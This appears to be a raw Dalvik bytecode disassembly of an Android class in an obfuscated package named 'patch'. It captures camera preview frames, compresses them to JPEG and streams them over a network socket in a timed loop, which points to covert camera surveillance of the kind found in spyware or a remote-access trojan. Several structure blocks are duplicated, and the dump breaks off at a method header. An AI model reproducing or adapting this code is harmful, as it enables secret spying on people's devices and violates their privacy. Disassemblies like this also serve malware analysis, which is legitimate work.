0008473asget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008473einvoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084744move-result-object v3
00084746invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
0008474cmove-result-object v8
0008474eiget v9, v8, Landroid/hardware/Camera$Size;->width:I
00084752invoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getPreviewSize()Landroid/hardware/Camera$Size;
00084758move-result-object v3
0008475aiget v10, v3, Landroid/hardware/Camera$Size;->height:I
0008475einvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
00084764move-result-object v3
00084766if-eqz v3, :cond_28c
0008476aiget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008476eiget-boolean v3, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
00084772const/4 v8, 0x1
00084774if-ne v3, v8, :cond_261
00084778iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008477cinvoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
00084782move-result-object v3
00084784if-eqz v3, :cond_232
00084788iget-object v3, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
0008478cinvoke-static {}, Ljava/lang/System;->currentTimeMillis()J
00084792move-result-wide v4
00084794invoke-static {v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;J)J
0008479anew-instance v11, Landroid/graphics/YuvImage;
0008479econst/16 v5, 0x11
000847a2const/4 v8, 0x0
000847a4move-object v3, v11
000847a6move-object v4, v13
000847a8move v6, v9
000847aamove v7, v10
000847acinvoke-direct/range {v3 .. v8}, Landroid/graphics/YuvImage;-><init>([BIII[I)V
000847b2new-instance v3, Ljava/io/ByteArrayOutputStream;
000847b6array-length v13, v13
000847b8invoke-direct {v3, v13}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
000847benew-instance v13, Landroid/graphics/Rect;
000847c2invoke-direct {v13, v0, v0, v9, v10}, Landroid/graphics/Rect;-><init>(IIII)V
000847c8sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
000847ccinvoke-virtual {v11, v13, v4, v3}, Landroid/graphics/YuvImage;->compressToJpeg(Landroid/graphics/Rect;ILjava/io/OutputStream;)Z
000847d2invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
000847d8move-result-wide v4
000847daiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000847deinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
000847e4move-result-wide v6
000847e6const/4 v13, 0x0
000847e8sub-long/2addr v4, v6
000847eaiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000847eeinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
000847f4move-result v13
000847f6int-to-long v6, v13
000847f8cmp-long v13, v4, v6
000847fcif-gez v13, :cond_22d
00084800invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->size()I
00084806move-result v13
00084808sget v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
0008480cconst/16 v5, 0x47
00084810if-ne v4, v5, :cond_f6
00084814const v4, 0xf000
0008481aif-le v13, v4, :cond_c8
0008481econst/16 v4, 0xa
00084822sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084826goto :goto_f6
00084828const v4, 0xc800
0008482eif-le v13, v4, :cond_d2
00084832const/16 v4, 0x14
00084836sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
0008483agoto :goto_f6
0008483cconst v4, 0xa000
00084842if-le v13, v4, :cond_dc
00084846const/16 v4, 0x1e
0008484asput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
0008484egoto :goto_f6
00084850const/16 v4, 0x7800
00084854if-le v13, v4, :cond_e5
00084858const/16 v4, 0x28
0008485csput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084860goto :goto_f6
00084862const/16 v4, 0x5000
00084866if-le v13, v4, :cond_ee
0008486aconst/16 v4, 0x32
0008486esput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084872goto :goto_f6
00084874const/16 v4, 0x2800
00084878if-le v13, v4, :cond_f6
0008487cconst/16 v4, 0x3c
00084880sput v4, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084884new-instance v4, Ljava/lang/StringBuilder;
00084888invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
0008488esget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084892const-wide/16 v7, 0x47
00084896invoke-static {v5, v6, v7, v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
0008489cmove-result-object v5
0008489einvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848a4sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
000848a8invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848aeinvoke-virtual {v4, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
000848b4invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
000848bamove-result-object v1
000848bcinvoke-static {v0}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
000848c2move-result-object v2
000848c4new-instance v4, Ljava/lang/StringBuilder;
000848c8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
000848ceinvoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848d4sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
000848d8invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
000848deinvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
000848e4move-result-object v1
000848e6new-instance v4, Ljava/io/ByteArrayOutputStream;
000848eainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
000848f0move-result-object v5
000848f2array-length v5, v5
000848f4add-int/2addr v5, v13
000848f6invoke-direct {v4, v5}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
000848fcinvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
00084902move-result-object v13
00084904invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
0008490ainvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
00084910move-result-object v13
00084912invoke-virtual {v4, v13}, Ljava/io/ByteArrayOutputStream;->write([B)V
00084918invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
0008491emove-result-wide v5
00084920iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084924invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
0008492amove-result-wide v7
0008492cconst/4 v13, 0x0
0008492esub-long/2addr v5, v7
00084930iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084934invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
0008493amove-result v13
0008493cint-to-long v7, v13
0008493ecmp-long v13, v5, v7
00084942if-gez v13, :cond_225
00084946new-instance v13, Ljava/io/ByteArrayOutputStream;
0008494ainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
00084950move-result v1
00084952invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
00084958move-result-object v1
0008495ainvoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
00084960move-result-object v1
00084962array-length v1, v1
00084964invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
0008496amove-result-object v5
0008496carray-length v5, v5
0008496eadd-int/2addr v1, v5
00084970invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
00084976move-result v5
00084978add-int/2addr v1, v5
0008497ainvoke-direct {v13, v1}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
00084980invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->size()I
00084986move-result v1
00084988invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
0008498emove-result-object v1
00084990invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
00084996move-result-object v1
00084998invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
0008499einvoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
000849a4move-result-object v1
000849a6invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
000849acinvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
000849b2move-result-object v1
000849b4invoke-virtual {v13, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
000849bainvoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
000849c0invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
000849c6move-result-wide v1
000849c8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000849ccinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
000849d2move-result-wide v5
000849d4const/4 v7, 0x0
000849d6sub-long/2addr v1, v5
000849d8iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000849dcinvoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
000849e2move-result v5
000849e4int-to-long v5, v5
000849e6cmp-long v7, v1, v5
000849eaif-gez v7, :cond_21a
000849eeinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->e()Ljava/lang/Object;
000849f4move-result-object v1
000849f6monitor-enter v1
000849f8iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
000849fcinvoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
00084a02move-result-object v2
00084a04if-eqz v2, :cond_20b
00084a08invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
00084a0emove-result-object v2
00084a10invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
00084a16move-result-object v5
00084a18array-length v5, v5
00084a1amul-int/lit8 v5, v5, 0xf
00084a1einvoke-virtual {v2, v5}, Ljava/net/Socket;->setSendBufferSize(I)V
00084a24iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a28invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
00084a2emove-result-object v5
00084a30invoke-virtual {v5}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
00084a36move-result-object v5
00084a38invoke-static {v2, v5}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
00084a3eiget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a42invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
00084a48move-result-object v2
00084a4ainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
00084a50move-result-object v5
00084a52invoke-virtual {v2, v5}, Ljava/io/OutputStream;->write([B)V
00084a58invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
00084a5emove-result-wide v5
00084a60iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a64invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->h(Lcmf0/c3b5bm90zq/patch/C5;)J
00084a6amove-result-wide v7
00084a6cconst/4 v2, 0x0
00084a6esub-long/2addr v5, v7
00084a70iget-object v2, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a74invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
00084a7amove-result v2
00084a7cint-to-long v7, v2
00084a7ecmp-long v2, v5, v7
00084a82if-gez v2, :cond_20b
00084a86long-to-int v2, v5
00084a88invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
00084a8emove-result-object v2
00084a90iget-object v5, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084a94invoke-static {v5}, Lcmf0/c3b5bm90zq/patch/C5;->i(Lcmf0/c3b5bm90zq/patch/C5;)I
00084a9amove-result v5
00084a9cinvoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
00084aa2move-result v2
00084aa4sub-int/2addr v5, v2
00084aa6int-to-long v5, v5
00084aa8invoke-static {v5, v6}, Ljava/lang/Thread;->sleep(J)V
00084aaeinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084ab4invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
00084abainvoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
00084ac0monitor-exit v1
00084ac2goto/16 :goto_2e3
00084ac6move-exception v13
00084ac8monitor-exit v1
00084acathrow v13
00084accinvoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084ad2invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
00084ad8invoke-virtual {v13}, Ljava/io/ByteArrayOutputStream;->close()V
00084adegoto/16 :goto_2e3
00084ae2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084ae8invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->close()V
00084aeegoto/16 :goto_2e3
00084af2invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
00084af8goto/16 :goto_2e3
00084afcnew-instance v13, Ljava/lang/StringBuilder;
00084b00invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084b06sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b0ainvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b10move-result-object v1
00084b12invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b18sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b22const-string v1, "outputStream =null"
00084b26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b2csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b36sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b3ainvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b40move-result-object v1
00084b42invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b48invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084b4emove-result-object v13
00084b50invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00084b56goto/16 :goto_2e3
00084b5anew-instance v13, Ljava/lang/StringBuilder;
00084b5einvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084b64sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b68invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b6emove-result-object v1
00084b70invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b76sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b7ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b80const-string v1, "ctd =false"
00084b84invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b8asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084b8einvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084b94sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084b98invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084b9emove-result-object v1
00084ba0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084ba6invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084bacmove-result-object v13
00084baegoto :goto_25c
00084bb0new-instance v13, Ljava/lang/StringBuilder;
00084bb4invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084bbasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084bbeinvoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084bc4move-result-object v1
00084bc6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084bccsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084bd0invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084bd6const-string v1, "socket =null"
00084bdainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084be0sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084be4invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084beasget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084beeinvoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084bf4move-result-object v1
00084bf6invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084bfcinvoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084c02move-result-object v13
00084c04goto :goto_25c
00084c06new-instance v13, Ljava/lang/StringBuilder;
00084c0ainvoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
00084c10sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084c14invoke-static {v1, v2, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084c1amove-result-object v1
00084c1cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c22sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084c26invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c2cconst-string v1, "camera =null"
00084c30invoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c36sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00084c3ainvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c40sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00084c44invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00084c4amove-result-object v1
00084c4cinvoke-virtual {v13, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00084c52invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00084c58move-result-object v13
00084c5agoto/16 :goto_25c
00084c5eiget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084c62invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084c68move-result-object v13
00084c6ainvoke-interface {v13}, Ljava/util/List;->size()I
00084c70move-result v13
00084c72if-lez v13, :cond_2f8
00084c76iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084c7ainvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->e(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084c80move-result-object v13
00084c82invoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
00084c88iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084c8cinvoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084c92move-result-object v13
00084c94invoke-interface {v13}, Ljava/util/List;->size()I
00084c9amove-result v13
00084c9cif-lez v13, :cond_30d
00084ca0iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084ca4invoke-static {v13}, Lcmf0/c3b5bm90zq/patch/C5;->f(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/util/List;
00084caamove-result-object v13
00084cacinvoke-interface {v13, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
00084cb2iget-object v13, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084cb6iget-object v0, v12, Lcmf0/c3b5bm90zq/patch/C5$a;->a:Lcmf0/c3b5bm90zq/patch/C5;
00084cbainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;)J
00084cc0move-result-wide v0
00084cc2const-wide/16 v2, 0x1
00084cc6add-long/2addr v0, v2
00084cc8invoke-static {v13, v0, v1}, Lcmf0/c3b5bm90zq/patch/C5;->c(Lcmf0/c3b5bm90zq/patch/C5;J)J
00084ccegoto/16 :goto_0
00084cd2nop
00084cd4goto/16 :goto_0
00084cd8const-string v13, "-->"
00084cdcreturn-object v13
00084688
00084cde
00084cde struct code_item_padding
00084cde padding uint16 0x0000
00084ce0
00084ce0 struct try_item
00084ce0 start_addr uint32 0x846a8
00084ce4 insn_count int 424
00084ce6 handler_off uint16 0x84d21
00084ce8
00084ce8 struct try_item
00084ce8 start_addr uint32 0x849f8
00084cec insn_count int 86
00084cee handler_off uint16 0x84d2a
00084cf0
00084cf0 struct try_item
00084cf0 start_addr uint32 0x84aa8
00084cf4 insn_count int 3
00084cf6 handler_off uint16 0x84d2d
00084cf8
00084cf8 struct try_item
00084cf8 start_addr uint32 0x84aae
00084cfc insn_count int 9
00084cfe handler_off uint16 0x84d34
00084d00
00084d00 struct try_item
00084d00 start_addr uint32 0x84ac0
00084d04 insn_count int 5
00084d06 handler_off uint16 0x84d2a
00084d08
00084d08 struct try_item
00084d08 start_addr uint32 0x84aca
00084d0c insn_count int 1
00084d0e handler_off uint16 0x84d21
00084d10
00084d10 struct try_item
00084d10 start_addr uint32 0x84acc
00084d14 insn_count int 22
00084d16 handler_off uint16 0x84d3b
00084d18
00084d18 struct try_item
00084d18 start_addr uint32 0x84afc
00084d1c insn_count int 233
00084d1e handler_off uint16 0x84d21
00084d20
00084d20 struct encoded_catch_handler_list
00084d20 size int 5
00084d21
00084d21 struct encoded_catch_handler ← 0x84ce6 0x84d0e 0x84d1e
00084d21 size int64 2
00084d22 handlers[0].type_idx int 0x59cc
00084d24 handlers[0].addr uint32 0x84cd2
00084d26 handlers[1].type_idx int 0x5994
00084d28 handlers[1].addr uint32 0x84cd2
00084d2a
00084d2a struct encoded_catch_handler ← 0x84cee 0x84d06
00084d2a size int64 0
00084d2b catch_all_addr uint32 0x84ac6
00084d2d
00084d2d struct encoded_catch_handler ← 0x84cf6
00084d2d size int64 -1
00084d2e handlers[0].type_idx int 0x59ac
00084d30 handlers[0].addr uint32 0x84aae
00084d32 catch_all_addr uint32 0x84ac6
00084d34
00084d34 struct encoded_catch_handler ← 0x84cfe
00084d34 size int64 -1
00084d35 handlers[0].type_idx int 0x5994
00084d37 handlers[0].addr uint32 0x84ac0
00084d39 catch_all_addr uint32 0x84ac6
00084d3b
00084d3b struct encoded_catch_handler ← 0x84d16
00084d3b size int64 2
00084d3c handlers[0].type_idx int 0x5994
00084d3e handlers[0].addr uint32 0x84c5e
00084d40 handlers[1].type_idx int 0x59cc
00084d42 handlers[1].addr uint32 0x84cd2
00084cde struct code_item_padding
00084cde padding uint16 0x0000
00084ce0
00084ce0 struct try_item
00084ce0 start_addr uint32 0x846a8
00084ce4 insn_count int 424
00084ce6 handler_off uint16 0x84d21
00084ce8
00084ce8 struct try_item
00084ce8 start_addr uint32 0x849f8
00084cec insn_count int 86
00084cee handler_off uint16 0x84d2a
00084cf0
00084cf0 struct try_item
00084cf0 start_addr uint32 0x84aa8
00084cf4 insn_count int 3
00084cf6 handler_off uint16 0x84d2d
00084cf8
00084cf8 struct try_item
00084cf8 start_addr uint32 0x84aae
00084cfc insn_count int 9
00084cfe handler_off uint16 0x84d34
00084d00
00084d00 struct try_item
00084d00 start_addr uint32 0x84ac0
00084d04 insn_count int 5
00084d06 handler_off uint16 0x84d2a
00084d08
00084d08 struct try_item
00084d08 start_addr uint32 0x84aca
00084d0c insn_count int 1
00084d0e handler_off uint16 0x84d21
00084d10
00084d10 struct try_item
00084d10 start_addr uint32 0x84acc
00084d14 insn_count int 22
00084d16 handler_off uint16 0x84d3b
00084d18
00084d18 struct try_item
00084d18 start_addr uint32 0x84afc
00084d1c insn_count int 233
00084d1e handler_off uint16 0x84d21
00084d20
00084d20 struct encoded_catch_handler_list
00084d20 size int 5
00084d21
00084d21 struct encoded_catch_handler ← 0x84ce6 0x84d0e 0x84d1e
00084d21 size int64 2
00084d22 handlers[0].type_idx int 0x59cc
00084d24 handlers[0].addr uint32 0x84cd2
00084d26 handlers[1].type_idx int 0x5994
00084d28 handlers[1].addr uint32 0x84cd2
00084d2a
00084d2a struct encoded_catch_handler ← 0x84cee 0x84d06
00084d2a size int64 0
00084d2b catch_all_addr uint32 0x84ac6
00084d2d
00084d2d struct encoded_catch_handler ← 0x84cf6
00084d2d size int64 -1
00084d2e handlers[0].type_idx int 0x59ac
00084d30 handlers[0].addr uint32 0x84aae
00084d32 catch_all_addr uint32 0x84ac6
00084d34
00084d34 struct encoded_catch_handler ← 0x84cfe
00084d34 size int64 -1
00084d35 handlers[0].type_idx int 0x5994
00084d37 handlers[0].addr uint32 0x84ac0
00084d39 catch_all_addr uint32 0x84ac6
00084d3b
00084d3b struct encoded_catch_handler ← 0x84d16
00084d3b size int64 2
00084d3c handlers[0].type_idx int 0x5994
00084d3e handlers[0].addr uint32 0x84c5e
00084d40 handlers[1].type_idx int 0x59cc
00084d42 handlers[1].addr uint32 0x84cd2
00084d44
00084d44cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.String):
00084d54invoke-super {v0, v1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
00084d5areturn-void
00084d44
00084d44cmf0.c3b5bm90zq.patch.C5$a::a(java.lang.String):
00084d54invoke-super {v0, v1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
00084d5areturn-void
00084d44
00084d5c
00084d5ccmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Integer[]):
00084d6cinvoke-super {v0, v1}, Landroid/os/AsyncTask;->onProgressUpdate([Ljava/lang/Object;)V
00084d72return-void
00084d5c
00084d5ccmf0.c3b5bm90zq.patch.C5$a::a(java.lang.Integer[]):
00084d6cinvoke-super {v0, v1}, Landroid/os/AsyncTask;->onProgressUpdate([Ljava/lang/Object;)V
00084d72return-void
00084d5c
00084d74
00084d74cmf0.c3b5bm90zq.patch.C5$a::doInBackground(java.lang.Object[]):
